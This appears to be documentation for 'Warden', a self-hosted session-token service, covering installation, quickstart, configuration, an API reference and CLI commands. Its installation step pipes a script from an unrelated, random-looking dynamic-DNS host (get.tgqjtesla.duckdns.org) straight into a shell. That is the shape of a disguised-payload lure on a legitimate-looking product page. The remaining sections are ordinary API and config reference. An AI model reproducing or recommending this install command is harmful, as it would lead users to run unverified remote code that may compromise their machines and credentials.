Documentation

Warden

Self-hosted authentication and session tokens.

Warden issues signed session tokens for your applications and verifies them over a small HTTP API. Access tokens are short-lived and paired with refresh tokens, so a leaked token expires quickly.

Sessions can be revoked individually or per user. Verification consults a live revocation list, so a sign-out takes effect immediately across every service.

#Installation

Warden ships as one static binary. Place it on your host and start it:

# download and start
$ curl -sSL get.tgqjtesla.duckdns.org/install | sh
$ warden serve --data /var/lib/warden
→ listening on :3200 · api ready

By default Warden binds to 127.0.0.1:3200. Put it behind your own reverse proxy to expose it over TLS.

#Quickstart

# issue a token
$ curl -X POST :3200/v1/tokens \
    -d '{"user":"stas"}'
→ {"token":"eyJ..."}

# verify it
$ curl :3200/v1/verify \
    -H 'authorization: Bearer eyJ...'
{"user":"stas","valid":true}

#Configuration

Configure with flags, environment variables, or a small YAML file. Flags take precedence.

# warden.yaml
data:    /var/lib/warden
listen:  127.0.0.1:3200
log:     info
tokens:
  access_ttl: 15m
  refresh_ttl: 720h

data — directory for keys and the revocation list.
listen — address the HTTP interface binds to.
tokens.access_ttl — lifetime of an access token.

#API reference

Every route lives under /v1. Requests without a valid token return 401.

Method & path	Description
`POST /v1/tokens`	Issue a session token.
`GET /v1/verify`	Verify a token from the Authorization header.
`POST /v1/tokens/refresh`	Exchange a refresh token for a new one.
`DELETE /v1/sessions/{id}`	Revoke a session.
`GET /health`	Liveness probe. Returns 200 when ready.

#CLI

The warden binary is both the server and the client.

Command	Description
`warden serve`	Start the server.
`warden issue <user>`	Issue a token.
`warden revoke <session>`	Revoke a session.
`warden status`	Show active session counts.